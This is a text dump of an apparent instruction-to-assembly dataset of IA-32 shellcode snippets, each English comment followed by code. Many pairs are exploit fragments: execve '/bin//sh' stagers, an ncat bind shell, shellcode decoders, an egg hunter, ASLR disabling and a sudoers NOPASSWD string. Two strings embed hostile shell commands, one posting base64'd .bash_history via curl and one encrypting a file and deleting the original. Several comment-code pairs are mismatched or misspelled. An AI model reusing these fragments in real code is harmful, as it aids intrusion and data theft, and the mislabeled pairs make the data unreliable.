OSS-forge/Extended_Shellcode_IA32 huggingface dataset:
; move the contents of the eax register into the ebx register
mov ebx, eax
; move eax into ebx
mov ebx, eax
; copy ecx content into ebxx register
mov ebx, ecx
; copy ecx content into ebx
mov ebx, ecx
; move ecx into ebx
mov ebx, ecx
; backup ecx into ebx
mov ebx, ecx
; copy edi content into ebx register
mov ebx, edi
; move edi into ebx
mov ebx, edi
; set ebx =1
mov ebx, edx
; move the client socket fd from edx into ebx
mov ebx, edx
; save edx content into ebx
mov ebx, edx
; move edx into ebx
mov ebx, edx
; save the saved socket descpritor in ebx
mov ebx, esi
; save the esi contenmts in ebx register
mov ebx, esi
; store address of /usr/bin/ncat into ebx register
mov ebx, esi
; copy esi content into ebx register
mov ebx, esi
; load arg1 = Ô/bin/shÕ into ebx register
mov ebx, esi
; save esi content into ebx
mov ebx, esi
; move esi into ebx
mov ebx, esi
; push /bin/sh into ebx
mov ebx, esp
; load the stack pointer into ebx register
mov ebx, esp
; load the strinf //bin/sh in ebx register
mov ebx, esp
; save addr of stack into ebx
mov ebx, esp
; ebx = /bin//sh
mov ebx, esp
; load the pointer to args into ebx register
mov ebx, esp
; ebx points the top pf the stack
mov ebx, esp
; load stack pointer into ebx register
mov ebx, esp
; loast stcak pointer into ebx register
mov ebx, esp
; point ebx to stack
mov ebx, esp
; push esp pointer to ebx
mov ebx, esp
; ebx points to the memory struct
mov ebx, esp
; store esp pointer in ebx
mov ebx, esp
; trasnfer esp content to ebx
mov ebx, esp
; put the address of "/bin//sh" into ebx via esp
mov ebx, esp
; load esp content into ebx
mov ebx, esp
; ebx points to the top of the stack
mov ebx, esp
; trasfer stack pointer into ebx register
mov ebx, esp
; ebx points the top of the stack
mov ebx, esp
; ebx point to pushed string
mov ebx, esp
; move stack ptr to ebx
mov ebx, esp
; moving the pointer to "/bin//sh" to ebx
mov ebx, esp
; moving the pointer to the string Ô/bin//cnÕ to ebx
mov ebx, esp
; moves the memory address of esp(pointing to our string & nulls) from the stack into ebx
mov ebx, esp
; save esp content into ebx
mov ebx, esp
; save esp content into ebx register
mov ebx, esp
; save the arg "/bin//sh/" into ebx
mov ebx, esp
; ebx point to the structure
mov ebx, esp
; save esp content into ebx regsiter
mov ebx, esp
; load address of /bin/sh into ebx
mov ebx, esp
; move the address of the character on the stack into ebx
mov ebx, esp
; move the contents of the esp register into the ebx register
mov ebx, esp
; move esp into ebx
mov ebx, esp
; move address of stack pointer into ebx
mov ebx, esp
; move filename into ebx
mov ebx, filename
; move m_src1 to ebx
mov ebx, m_src1
; move m_src2 to ebx
mov ebx, m_src2
; move the address of msg string into ebx
mov ebx, msg
; move n to ebx
mov ebx, n
; move name into ebx
mov ebx, name
; move address of request variable into ebx
mov ebx, request
; move sock_reg into ebx
mov ebx, sock_reg
; move the number of bytes of var3 into ebx
mov ebx, type var3
; move the value of upcase into ebx
mov ebx, upcase
; move the contents of x into ebx
mov ebx, x
; move zero_reg into ebx
mov ebx, zero_reg
; copy eax content into ebx register
mov ebx,eax
; load eax content into ebx
mov ebx,eax
; load eax content into ebx register
mov ebx,eax
; save the returned value of the previous sys call (fd) into ebx, 2nd arg
mov ebx,eax
; move eax register to ebx register then push eax on the register
mov ebx,eax
push eax
; trasfer aex contents into ebx contents and push ebx on the stack
mov ebx,eax
push ebx
; copy socket file descriptor from esi to ebx to feed clientid
mov ebx,esi
; copy the esi content into ebx register
mov ebx,esi
; load esi content into ebx register
mov ebx,esi
; save esi content into ebx
mov ebx,esi
; load esp content into ebx register
mov ebx,esp
; save addr of stack into ebx
mov ebx,esp
; copy esp content into ebx register
mov ebx,esp
; ebx points to memory struct
mov ebx,esp
; point ebx to stack
mov ebx,esp
; load stack pointer into ebx register
mov ebx,esp
; set first arg in ebx=*filename
mov ebx,esp
; set the 1st arg /bin/bash from the stack
mov ebx,esp
; save pointer into ebx
mov ebx,esp
; move esp content into ecx register
mov ecx ,esp
; move the contents at the memory location specified by the result of the operation [ebp+12] into the ecx register
mov ecx, [ebp+12]
; move the contents of the address [ebp+12] into ecx
mov ecx, [ebp+12]
; move the 4 bytes of data at address esi+4*eax into ecx
mov ecx, [esi+4*eax]
; move the contents of esp into ecx
mov ecx, [esp]
; move the contents of the esp register into the ecx register
mov ecx, [esp]
; move effective address of my_table in ecx
mov ecx, [my_table]
; move the contents at memory address temp3 to ecx
mov ecx, [temp3]
; move the contents at memory address x to ecx
mov ecx, [x]
; move permissions to read write and execute into ecx
mov ecx, 0777
; move 0x0 into ecx
mov ecx, 0x0
; mov ip address in ecx
mov ecx, 0x04030382
; move 0x1 into ecx
mov ecx, 0x1
; move 0x88998899 into ecx
mov ecx, 0x88998899
; push ÔostsÕ on stack
mov ecx, 0x88998899
sub ecx, 0x1525152a
push ecx
; move 1 into ecx
mov ecx, 1
; get 36 in the ecx
mov ecx, 36
; move 4294948047 into ecx
mov ecx, 4294948047
; loading 0x1234567 in ecx
mov ecx, 672274793
; move the value 672274793 into the ecx register
mov ecx, 672274793
; move the address of the arguments into ecx
mov ecx, arguments
; move the first element of array into ecx
mov ecx, array
; move the first element in array2 into ecx
mov ecx, array2
; move b to ecx
mov ecx, b
; move buff to ecx
mov ecx, buff
; move the memory address of buffer variable into ecx
mov ecx, buffer
; move the memory address of contents string into ecx
mov ecx, contents
; move the memory address of contents variable into ecx
mov ecx, contents
; move donemsg into ecx
mov ecx, donemsg
; move eatmsg into ecx
mov ecx, eatmsg
; move eax into ecx
mov ecx, eax
; copy epb content into ecx register
mov ecx, ebp
; move ebp into ecx
mov ecx, ebp
; copy the value of ebp to ecx
mov ecx, ebp
; copy ebx content into ecx and eax content into ebx
mov ecx, ebx
mov ebx, eax
; move edi into ecx
mov ecx, edi
; load edi content into ecx register then clear edx
mov ecx, edi
xor edx, edx
; put 0 in ecx
mov ecx, edx
; set counter ecx = 2
mov ecx, edx
; save edx content into ecx
mov ecx, edx
; initialize counter, ecx, to 2
mov ecx, edx
; move edx into ecx
mov ecx, edx
; move the contents of the edx register into the ecx register
mov ecx, edx
; backup edx into ecx
mov ecx, edx
; move esi into ecx
mov ecx, esi
; transfer esp contents into ecx
mov ecx, esp
; trasnfer esp contents into ecx register
mov ecx, esp
; trasfer esp contents to ecx register
mov ecx, esp
; ecx points to the top of the stack
mov ecx, esp
; load the stack pointer in ecx register
mov ecx, esp
; load the stack pointer in ecx regsiter
mov ecx, esp
; load esp content in ecx
mov ecx, esp
; load the stack pointer into ecx register
mov ecx, esp
; load esp content into ecx register
mov ecx, esp
; save addr of stack into ecx
mov ecx, esp
; load stack pointer into ecx register
mov ecx, esp
; load esp content into ecx
mov ecx, esp
; pointer to args on the stack into ecx
mov ecx, esp
; load on ecx the pointer to the arguments n the stack into ecx
mov ecx, esp
; load the pointer to v4lhist struct arguments in ecx register
mov ecx, esp
; copy in ecx the argument pointer
mov ecx, esp
; load the pointer to struct into ecx register
mov ecx, esp
; load the arguments previously pushed on stack into register ecx
mov ecx, esp
; load the pointer to args into ecx register
mov ecx, esp
; move the pointer to args into ecx register
mov ecx, esp
; move stack pointer to ecx
mov ecx, esp
; copy esp content into ecx register
mov ecx, esp
; copy esp content in ecx register
mov ecx, esp
; save address od the top of the stack into ecx
mov ecx, esp
; save the argument array into ecx register
mov ecx, esp
; store argv array into ecx via the stack or esp
mov ecx, esp
; save pointer to ecx
mov ecx, esp
; trasnfer esp content to ecx register
mov ecx, esp
; move address of the opernads into ecx
mov ecx, esp
; set the args
mov ecx, esp
; move stack ptr into ecx
mov ecx, esp
; move stack ptr to ecx
mov ecx, esp
; mv final stack ptr to ecx
mov ecx, esp
; mv new stack ptr to ecx
mov ecx, esp
; move satck pointer to ecx
mov ecx, esp
; save esp content into ecx
mov ecx, esp
; ecx point the top of the stack
mov ecx, esp
; save the pointer to args in ecx register
mov ecx, esp
; pointer to struct
mov ecx, esp
; save the pointer to args in ecx
mov ecx, esp
; move the memory location of args to ecx
mov ecx, esp
; pushes the memory location of args into ecx
mov ecx, esp
; move memory location of the args to ecx
mov ecx, esp
; save the new socket fd into ecx
mov ecx, esp
; move the memory location of the args list into ecx
mov ecx, esp
; move the memeory location of the args to ecx
mov ecx, esp
; moves the address of the string from the stack to ecx
mov ecx, esp
; save esp content into ecx register
mov ecx, esp
; load address of the parameter array into ecx
mov ecx, esp
; ecx point to the structur
mov ecx, esp
; load address of the parameter array
mov ecx, esp
; load address of the parameter array intp ecx
mov ecx, esp
; load array address into ecx
mov ecx, esp
; ecx point to the structure
mov ecx, esp
; move esp into ecx
mov ecx, esp
; move the contents of the esp register into the ecx register
mov ecx, esp
; ecx point to the top of the stack
mov ecx, esp
; move the address of the stack pointer into ecx
mov ecx, esp
; move the contents of esp into ecx
mov ecx, esp
; move address of arguments into ecx
mov ecx, esp
; save the memory location of arg[0] into the ecx register
mov ecx, esp
; move address of stack pointer into ecx
mov ecx, esp
; point ecx to the top of the stack
mov ecx, esp
; copy esp content into ecx and edx registers
mov ecx, esp
mov edx, esp
; move the memory address of our file contents variable into ecx
mov ecx, filecontents
; put the offset of hello in ecx
mov ecx, hello
; move hexstr into ecx
mov ecx, hexstr
; move m_src3 to ecx
mov ecx, m_src3
; move msg to ecx
mov ecx, msg
; move the address of message string into ecx
mov ecx, msg
; move the memory address of message string into ecx
mov ecx, msg
; move starting address of array to ecx
mov ecx, offset array
; move readbuffer into ecx
mov ecx, readbuffer
; move address of request variable into ecx
mov ecx, request
; move address of response variable into ecx
mov ecx, response
; move rm to ecx
mov ecx, rm
; move rn to ecx
mov ecx, rn
; move the number of bytes of var2 into ecx
mov ecx, type var2
; move the contents of y into ecx
mov ecx, y
; transfer eax content into ecx register then push ecx register on the stcak
mov ecx,eax
push ecx
; load edi content into ecx register
mov ecx,edi
; transfer esp contents into ecx contents
mov ecx,esp
; move espaddress to ecx
mov ecx,esp
; get stack pointer to ecx
mov ecx,esp
; move esp contents to ecx
mov ecx,esp
; load the stack pointer into ecx register
mov ecx,esp
; load the satck ppointer into ecx register
mov ecx,esp
; load esp content into ecx register
mov ecx,esp
; move stack pointer into ecx
mov ecx,esp
; save addr of stack into ecx
mov ecx,esp
; save the pointer to socket args into ecx register
mov ecx,esp
; load the pointer to struct into ecx register
mov ecx,esp
; tranfer the pointer to args from esp into ecx register
mov ecx,esp
; save pointer (esp) to socket() args (ecx)
mov ecx,esp
; load pointer to struct sockaddr into ecx register
mov ecx,esp
; load into ecx the pointer to args stored in esp
mov ecx,esp
; load the pointer to args into ecx regsiter
mov ecx,esp
; make ecx pointing to args
mov ecx,esp
; save stack pointer into ecx register
mov ecx,esp
; load the pointer to the struct into ecx regsiter
mov ecx,esp
; load stack pointer into ecx regisetr
mov ecx,esp
; load stack pointer into ecx register
mov ecx,esp
; move stack pointer to ecx
mov ecx,esp
; save in ecx the pointer to socket arguements
mov ecx,esp
; point ecx to stack
mov ecx,esp
; copy esp content into ecx register
mov ecx,esp
; save esp content into ecx register
mov ecx,esp
; ecx points to the arguments adress
mov ecx,esp
; save pointer into ecx
mov ecx,esp
; ecx point to the top of he stack
mov ecx,esp
; save esp content into ecx regoster
mov ecx,esp
; transfer esp content into ecx two times and in ebx
mov ecx,esp
mov ecx,esp
mov ebx,esp
; move value the contents of memory address ebp+16 into edi
mov edi, [ebp+16]
; move 0x343997b7 into edi
mov edi, 0x343997b7
; move 0x3734b117 into edi
mov edi, 0x3734b117
; push /bin in edi
mov edi, 0x6e69622f
; move 0x978cd092 into edi
mov edi, 0x978cd092
; load hexadecimal value 0x978cd092 into edi and ebx registers
mov edi, 0x978cd092
mov ebx, edi
; move 0x978cd0d0 into edi
mov edi, 0x978cd0d0
; push Ô/bin//sh on stackÕ
mov edi, 0x978cd0d0
mov esi, 0x91969dd0
not edi
not esi
push edi
push esi
; move 0xaaaa9090 to edi
mov edi, 0xaaaa9090
; trtasfer the hexadecimal value 0xada67373 into edi register
mov edi, 0xada67373
; move 0xada67373 into edi
mov edi, 0xada67373
; move 876189623 into edi
mov edi, 876189623
; move 884021143 into edi
mov edi, 884021143
; copy eax content into edi register
mov edi, eax
; move eax into edi
mov edi, eax
; move the return value of sys_socketcall into edi
mov edi, eax
; move ecx to edi for scasd operation
mov edi, ecx
; move ecx content to edi register
mov edi, ecx
; copy ecx content in edi register
mov edi, ecx
; move ecx to edi
mov edi, ecx
; move ecx into edi
mov edi, ecx
; move edx into edi
mov edi, edx
; move the remainder into edi
mov edi, edx
; copy esi content into esi register
mov edi, esi
; move encoded_shellcode pointer to edi
mov edi, esi
; move esi into edi
mov edi, esi
; move the pointer to the shellcode into edi
mov edi, esi
; load esp content in edi register
mov edi, esp
; save addr of stack into edi
mov edi, esp
; edi points to the top of the stack
mov edi, esp
; moving the pointer to the string Ô-le//bin//shÕ to edi
mov edi, esp
; move esp into edi
mov edi, esp
; place hexstr into edi
mov edi, hexstr
; move hexadecimal value 0x3734b117 into edi content
mov edi,0x3734b117
; load the string /bin into edi register
mov edi,0x6e69622f
; load the string //sh into edi register
mov edi,0x79844040
sub edi,0x11111111
; load the current address from ecx to edi
mov edi,ecx
; load esp content into edi register
mov edi,esp
; point edi to stack
mov edi,esp
; save in edi the -c value
mov edi,esp
; move the 4 bytes of data at address esi+4*ebx into edx
mov edx, [esi+4*ebx]
; saves stage address to edx
mov edx, [esp]
; move the contents of the esp register into the edx register
mov edx, [esp]
; move the contents at memory address temp4 to edx
mov edx, [temp4]
; move the contents at memory address z to edx
mov edx, [z]
; loading the cmd argument: linux_reboot_cmd_restart in edx
mov edx, 0x1234567
; move the value 0x1234567 into the edx register
mov edx, 0x1234567
; move 1 into edx
mov edx, 1
; move integer 11 to edx
mov edx, 11
; move 12 to edx
mov edx, 12
; move 13 into edx
mov edx, 13
; move decimal 2 into edx
mov edx, 2
; move decimal number 255 into edx
mov edx, 255
; move 3 decimal into edx
mov edx, 3
; move 43 decimal into edx
mov edx, 43
; move decimal 43 into edx
mov edx, 43
; move 66729180 into edx
mov edx, 66729180
; move decimal 78 into edx
mov edx, 78
; store 78 decimal into edx
mov edx, 78
; move 8 decimal into edx
mov edx, 8
; put 8 into edx
mov edx, 8
; move number 9 into edx
mov edx, 9
; move buff to edx
mov edx, buff
; move bufflen into edx
mov edx, bufflen
; move donelen into edx
mov edx, donelen
; save ÔeggÕ into edx register
mov edx, dword 0x65676760
; move dword 0x65676760 into edx
mov edx, dword 0x65676760
; move the doubleword 0x65676760 into edx
mov edx, dword 0x65676760
; move eatlen into edx
mov edx, eatlen
; copy eax content into edx
mov edx, eax
; copy eax into edx
mov edx, eax
; save the fd from the socket
mov edx, eax
; save the socket fd contained into eax in edx
mov edx, eax
; move eax into edx
mov edx, eax
; backup eax into edx
mov edx, eax
; move ebp into edx
mov edx, ebp
; set zero to edx
mov edx, ecx
; move ecx into edx
mov edx, ecx
; move ecx to edx
mov edx, ecx
; set edx = 0x4f904790edx = 0x4f904790
mov edx, egg_sig
; move the address of environment variable into edx
mov edx, environment
; move esi into edx
mov edx, esi
; load the stack pointer on edx regsiter
mov edx, esp
; save addr of stack into edx
mov edx, esp
; get a pointer to the null value saving it in edx register
mov edx, esp
; load stack pointer into edx register
mov edx, esp
; save esp content into edx
mov edx, esp
; moving 0 to edx
mov edx, esp
; gets the memory address of the nulls onto the stack into edx
mov edx, esp
; move esp into edx
mov edx, esp
; move the contents of the esp register into the edx register
mov edx, esp
; move address of stack pointer into edx
mov edx, esp
; point edx to the stack pointer
mov edx, esp
; move the stack pointer into edx
mov edx, esp
; move filename into edx
mov edx, filename
; move hellolen into edx
mov edx, hellolen
; move hexlen into edx
mov edx, hexlen
; move variable len to edx
mov edx, len
; move m_src4 to edx
mov edx, m_src4
; move n to edx
mov edx, n
; move readbuffer into edx
mov edx, readbuffer
; move readlen into edx
mov edx, readlen
; move address of response variable into edx
mov edx, response
; move the contents of src variable into edx
mov edx, src
; move the contents of tmp variable into edx
mov edx, tmp
; move the number of bytes of var1 into edx
mov edx, type var1
; copy the hexadecimal value of Ò.g.oÓ into ed register
mov edx,0x4f904790
; copy eax content into edx register
mov edx,eax
; load the stack pointer into edx register
mov edx,esp
; load esp cpntent into edx register
mov edx,esp
; move stack pointer into edx
mov edx,esp
; load esp content into edx register
mov edx,esp
; load the stack pointer into esi register
mov esi , esp
; move the contents of memory address ebp+12 into esi
mov esi, [ebp+12]
; move 0x222933f0 into esi
mov esi, 0x222933f0
; move 0x243525f0 into esi
mov esi, 0x243525f0
; move 0x34399797 into esi
mov esi, 0x34399797
; transfer hexadecimal value 0x353ffc3b into esi regsiter
mov esi, 0x353ffc3b
; move 0x353ffc3b into esi
mov esi, 0x353ffc3b
; move 0x563a1f3e into esi
mov esi, 0x563a1f3e
; move 0x65636170 into esi
mov esi, 0x65636170
; push the string //proc/sys/kernel/randomize_va_space on the stack and then load the stack pointer on ebx register
mov esi, 0x65636170
push esi
xor esi, esi
mov esi, 0x735f6176
push esi
xor esi, esi
push dword 0x5f657a69
push dword 0x6d6f646e
push dword 0x61722f6c
push dword 0x656e7265
push dword 0x6b2f7379
push dword 0x732f636f
mov esi, 0x72702f2f
push esi
xor esi, esi
mov ebx,esp
; push //sh in esi
mov esi, 0x68732f2f
; move 0x68732f2f into esi
mov esi, 0x68732f2f
; move 0x72702f2f into esi
mov esi, 0x72702f2f
; move 0x735f6176 into esi
mov esi, 0x735f6176
; move 0x91969dd0 into esi
mov esi, 0x91969dd0
; move 0xd2c45e5e into esi
mov esi, 0xd2c45e5e
; move 10 into esi
mov esi, 10
; move 9 into esi
mov esi, 9
; place address buff into esi
mov esi, buff
; save returned file descriptor from eax into esi
mov esi, eax
; save eax contents in esi contents
mov esi, eax
; save socket file descriptor from eax into esi
mov esi, eax
; transfer eax content into esi register
mov esi, eax
; transfer fd for next call from eax into esi register
mov esi, eax
; copy eax content in esi register
mov esi, eax
; copy eax to esi content
mov esi, eax
; store sockfd in esi register
mov esi, eax
; store socket descriptor into esi register
mov esi, eax
; save eax content into esi
mov esi, eax
; save the newly created socket from eax to esi
mov esi, eax
; move pointer in eax into esi
mov esi, eax
; move eax into esi
mov esi, eax
; copy socket des from eax to esi register then clear eax
mov esi, eax
xor eax, eax
; copy ecx into esi register
mov esi, ecx
; move ecx into esi
mov esi, ecx
; move remainder into esi
mov esi, edx
; load in esi the pointer to Ô-fÕ argument
mov esi, esp
; load esp contents on esi register
mov esi, esp
; load the the stack pointer in esi register
mov esi, esp
; load esp content in esi regsister
mov esi, esp
; save addr of stack into esi
mov esi, esp
; save the name of the file into esi register
mov esi, esp
; moving the pointer to Ô-vp13337Õto esi
mov esi, esp
; save esp content into esi register
mov esi, esp
; move esp into esi
mov esi, esp
; move v to esi
mov esi, v
; move v_src to esi
mov esi, v_src
; copy the address of var into esi
mov esi, var
; move hexadecimal value 0x34399797 into esi content
mov esi,0x34399797
; move the socket file descriptor from eax to esi
mov esi,eax
; saves socket descriptor from eax into esi regsiter
mov esi,eax
; save the socket descriptor stored in eax in esi
mov esi,eax
; move the contents of the ebp register ino the esp register
mov esp, ebp
; move the contents of the ebp register into the esp register
mov esp, ebp
; copy 0x1cd9faf7 into esp content
mov esp,0x1cd9faf7
; move the contents of the esi register into the long starting at the address [esi+18]
mov long [esi+18], esi
; move the contents of the ebx register into the long starting at the address [esi+22]
mov long [esi+22], ebx
; move the contents of the esi register into the long starting at the address [esi+22]
mov long [esi+22], esi
; move the contents of the eax register into the long starting at the address [esi+26]
mov long [esi+26], eax
; move the contents of the ebx register into the long starting at the address [esi+26]
mov long [esi+26], ebx
; move the contents of the eax register into the long starting at the address [esi+30]
mov long [esi+30], eax
; move the immediate value /bin//sh in hex in rcx
mov rcx, 0x68732f2f6e69622f
; move eax into sock_reg
mov sock_reg, eax
; transfer the value 48 in the memory variable total
mov total, 48
; move the 16-bit integer representation of 2 into the 2 bytes starting at the address in ebx
mov word [ebx], 2
; move the 16-bit integer representation of 2 into the 2 bytes starting at address ecx
mov word [ecx], 2
; move ax into the word in edi
mov word [edi], ax
; move 0x776f into the word in [esp+0x1]
mov word [esp+0x1], 0x776f
; copy ss content into the word at the adress edi-0x69622f69
mov word ptr [edi-0x69622f69],ss
; move eax to x variable
mov x, eax
; null terminate /usr/bin/ncat
mov[esi+13], al
; null terminate -lvp1337
mov[esi+22], al
; null terminate -e/bin/bash
mov[esi+34], al
; store address of /usr/bin/ncat in aaaa
mov[esi+35], esi
; store address of -lvp1337 in bbbb taken from ebx
mov[esi+39], ebx
; store address of -e/bin/bash in cccc taken from ebx
mov[esi+43], ebx
; zero out dddd
mov[esi+47], eax
; backup edx into ecx
move ecx, edx
; move the 64 bit of edi into mm0 64bit register
movq mm0, qword [edi]
; move 8bytes of "xor_value" to mm0
movq mm0, qword [edi]
; move the 64 bit of esi into mm1 64bit register
movq mm1, qword [esi]
; move 8bytes of "shellcode" to mm1
movq mm1, qword [esi]
; move 8bytes of "rot_value" to mm2
movq mm2, qword [edi]
; move 8bytes of "shellcode" to mm3
movq mm3, qword [esi]
; transfer the 64 bit of mm0 register to the 64bit register esi
movq qword [esi], mm0
; overwrite the "shellcode" with previous results
movq qword [esi], mm0
; overwrite the "shellcode" with previous results
movq qword [esi], mm3
; perform a short unconditional jump to call_decoder
mp short call_decoder
; define msg as the byte string 'curl http://localhost:8080 -d 'data='$(cat .bash_history | base64 -w 0) -x post'
msg db 'curl http://localhost:8080 -d 'data='$(cat .bash_history | base64 -w 0) -x post', 0x0a
; declare msg string containing 'hello world!'
msg db 'hello, world!', 0xa
; define msg variable and initialize with 'i love you!'
msg db 'i love you!', 0ah
; define msg as the byte string 'mv test.txt .test.txt && head -c 32 /dev/urandom | base64 | openssl aes-256-cbc -e -in .test.txt -out test.txt -pbkdf2 -k - && rm .test.txt'
msg db 'mv test.txt .test.txt && head -c 32 /dev/urandom | base64 | openssl aes-256-cbc -e -in .test.txt -out test.txt -pbkdf2 -k - && rm .test.txt', 0x0a
; define msg as the byte string 'we found the egg!'
msg db 'we found the egg!', 0ah, 0dh
; define msg_len equal to the length of msg
msg_len equ $-msg
; declare message string msg1 containing 'hello brave new world!'
msg1 db 'hello, brave new world!', 0ah
; define msg2 as the byte string 'passwd'
msg2 db 'passwd', 0x00
; declare message string msg2 containing 'this is how we recycle in nasm'
msg2 db 'this is how we recycle in nasm.', 0ah
; declare msglength to have the constant value 12
msglength: equ 12
; multiply the contents of eax by the 32-bit contents of the memory location tmp
mul [tmp]
; multiply the contents of eax by the 32-bit contents of the memory location value
mul [value]
; multiply the contents of eax by the 32-bit contents of the memory location var
mul [var]
; multiply eax by 0x10 and stores the result in edx:eax
mul 0x10
; multiply the contents of eax by 25
mul 25
; multiply the contents of eax by 3
mul 3
; xoring eax and edx
mul ebx
; zero out eax register
mul ebx
; clear eax
mul ebx
; multiply the contents of eax by ebx
mul ebx
; multiply the contents of the eax register by the contents of the ebx register
mul ebx
; multiply eax by ebx
mul ebx
; multiply eax by the contents of the ebx register
mul ebx
; mul eax by ebx
mul ebx
; multiply by ecx, zero out eax and edx
mul ecx
; mutliply eax by 0
mul ecx
; clear eax
mul ecx
; mul eax by ecx
mul ecx
; multiply eax by the contents of the ecx register
mul ecx
; mutliply eax by ecx
mul ecx
; multiply eax by ecx
mul ecx
; multiply edx with eax saving the result in eax
mul edx
; multiply eax by the contents of the edx register
mul edx
; mul eax by edx
mul edx
; multiply eax by edx
mul edx
; allocate 10 words each initialized to 0
my_table times 10 dw 0
; allocate my_table vector of 10 words each initialized to 0
my_table times 10 dw 0
; define my_var word variable and initialize it to 0abcdh
my_var dw 0abcdh
; define myList array of word and initialize it to 1, 2, 3, 4, and 5
myList word 1,2,3,4,5
; define name as the byte string '/bin/sh'
name db '/bin/sh', 0
; allocate memory for 30 bytes uninitialized name variable
name db 30 dup
; negate eax
neg eax
; negate the contents of eax
neg eax
; replaces the contents of the eax register with its two's complement
neg eax
; replaces the contents of the ebx register with its two's complement
neg ebx
; replaces the contents of the ecx register with its two's complement
neg ecx
; performs the two's complement negation of the edi contents.
neg edi
; negate edi
neg edi
; replaces the contents of the edi register with its two's complement
neg edi
; replaces the contents of the edx register with its two's complement
neg edx
; negate the contents of var
neg var
; define the variable neg_number of words and initialize it to -12345
neg_number dw -12345
; define negative label
negative:
; in the negative function negate dl and increment dl to the next byte
negative:
not dl
inc dl
; define next_aaddr label
next_addr:
; define _next_addr label
next_addr:
; define next_addr label
next_addr:
; declare next_addr function
next_addr:
; declare the next_addr label
next_addr:
; declare the next_cycle label
next_cycle:
; define next_cycle label
next_cycle:
; in next_cycle increment edi by one and jump short to formatting
next_cycle:
inc edi
jmp short formatting
; define next_page label
next_page:
; declare next_page function
next_page:
; define _next label
next:
; declare the next label
next:
; no operation
nop
; run no operation
nop
; execute no operation
nop
; do no operation
nop
; do nothing
nop
; negate all the bits of ax register
not ax
; negate all the bits of the ax register
not ax
; one's complement negation of the byte edi in memory
not byte [edi]
; one's complement negation of the byte esi in memory
not byte [esi]
; perform a bit-wise inversion of the byte starting at the address in esi
not byte [esi]
; not operation of current byte in esi
not byte [esi]
; negate all bits in the byte at the memory location tmp
not byte [tmp]
; negate all bits in the byte at the memory location var
not byte [var]
; negate all bits in the byte at the memory location var2
not byte [var2]
; negate all bits in the byte contained into esi regsiter
not byte ptr [esi]
; negate all the bits of dl register
not dl
; negate all bits of th souble word stored at the adress esi+0x73
not dword ptr [esi+0x73]
; negate all the bits of the eax register
not eax
; negate all the bits of ecx register
not ecx
; negate all the bits of the ecx register
not ecx
; negate all bits of edi register
not edi
; negate all the bits of the edi register
not edi
; perform a bit-wise inversion of edx
not edx
; negate all the bits of the esi register
not esi
; negate all bits in the word contained into ax regsiter
not word ax
; negate all the bits of the word at the address ax
not word ax
; not_equal label
not_equal:
; declare _notdecode label
notdecode:
; notdecode function
notdecode:
; define number variable of a word and initialize to 12345
number dw 12345
; reserve 1 byte for number variable
number: resb 1
; declare an array of six words each initialized with the numbers 34 45 56 67 75 89
numbers dw 34, 45, 56, 67, 75, 89
; declare odd_numer function
odd_number:
; define odd_number
odd_number:
; define one_label
one:
; define _one label
one:
; declare the one label
one:
; declare one label
one:
; define open_label
open:
; perform or operation between al and bl registers
or al, bl
; load execve in eax
or al, syscall_execve
; perform or operation between the al register and syscall_execve
or al, syscall_execve
; oring hexadecimal value 0x78 to al register
or al,0x78
; align page address
or cx, 0xfff
; perform logical or between the cx register and 0xfff
or cx, 0xfff
; oring hexadecimal value 0xfff with dx register
or dx, 0xfff
; perform or operation between dx and 0xfff and save the result into dx
or dx, 0xfff
; perform the or operation between the eax register and 0xffffffff
or eax, 0xffffffff
; move the value -1 in eax register then do the one's complement negation of eax end then push it on the stack
or eax, 0xffffffff
not eax
push eax
; oring the double word at the adress edx-0x557f5533 wth ebp content
or ebp,dword ptr [edx-0x557f5533]
; define _output string
output:
; declare the output label
output:
; define path as the byte string '//bin/sh'
path db '//bin/sh'
; define the byte string path and initialize it to '//bin/sh'
path db '//bin/sh'
; declare the path label
path:
; pop the top element of the stack into memory at the four bytes starting at location eax
pop [eax]
; pop the top element of the stack into memory at the four bytes starting at location ebx
pop [ebx]
; pop the last element pushed onto the stack into ax
pop ax
; pop the last element pushed onto the stack into bx
pop bx
; pop the last element pushed onto the stack into cx
pop cx
; pop the value on the stack back into cx
pop cx
; restore the top of the stack into the cx register
pop cx
; pop the value on the stack back into dx
pop dx
; restore the top of the stack into the dx register
pop dx
; put syscall value into eax
pop eax
; pick up eax from the stack
pop eax
; pop eax from stack
pop eax
; pick up eax content from the stack
pop eax
; pick up eax content from stack
pop eax
; pop 102 into eax
pop eax
; pop the value on the stack back into eax
pop eax
; restore eax from the value we pushed onto the stack at the start
pop eax
; restore the original value of eax
pop eax
; restore the top of the stack into eax register
pop eax
; restore the top of the stack into the eax register
pop eax
; pop the top of the stack into the eax register
pop eax
; remove last character from the stack into edx
pop eax
; pop the next argument off the stack into eax
pop eax
; remove last character from the stack into eax
pop eax
; restore ebp register
pop ebp
; restore the top of the stack into the ebp register
pop ebp
; pick up ebx contents from the top of the stack
pop ebx
; pick up ebx register from the stack
pop ebx
; pick up ebx content from the register
pop ebx
; pick up ebx content from the stack
pop ebx
; pick up ebx content from stack
pop ebx
; pick up ebx from stack
pop ebx
; pop stack(2 = sys_bind = bind()) into ebx
pop ebx
; load string into rbx register
pop ebx
; set sys_bind = 2
pop ebx
; save the string Ô /bin/shÕ into ebx
pop ebx
; save the byte string Ômt.txtxÕ into ebx register
pop ebx
; save th byte string '/proc/sys/kernel/randomize_va_spacex' into ebx register
pop ebx
; restore ebx from the value we pushed onto the stack at the start
pop ebx
; restore the original value of ebx
pop ebx
; restore the top of the stack into ebx register
pop ebx
; restore the top of the stack into the ebx register
pop ebx
; remove last character from the stack into ebx
pop ebx
; pop the value on the stack back into ebx
pop ebx
; extract ecx from the stack
pop ecx
; pick up ecx contents from the stack
pop ecx
; pick up ecx register from the stack
pop ecx
; pick up _ecx label from the satck
pop ecx
; pick up ecx content from stack
pop ecx
; pick up ecx from stack
pop ecx
; piack up ecx content from stack
pop ecx
; pick uo "all all=(all) nopasswd: all" stored i ecx from stack
pop ecx
; pick up ecx content from the stack
pop ecx
; pop 3 into ecx for counter
pop ecx
; get the command string to write in the file, 3rd arg
pop ecx
; save addr ptr into ecx
pop ecx
; remove last character from the stack into ecx
pop ecx
; restore ecx from the value we pushed onto the stack at the start
pop ecx
; restore ecx register
pop ecx
; pop the value on the stack back into ecx
pop ecx
; restore the top of the stack into the ecx register
pop ecx
; restore the top of the stack into the ecx register then decrement the ecx register and jump to the l1 label if the contents of the ecx register is not zero else make the system call exit
pop ecx
loop l1
mov eax, 1
; restore the top of the stack into the ecx register then decrement the ecx register and jump to the l2 label if the contents of the ecx register is not zero else make the system call exit
pop ecx
loop l2
mov eax, 1
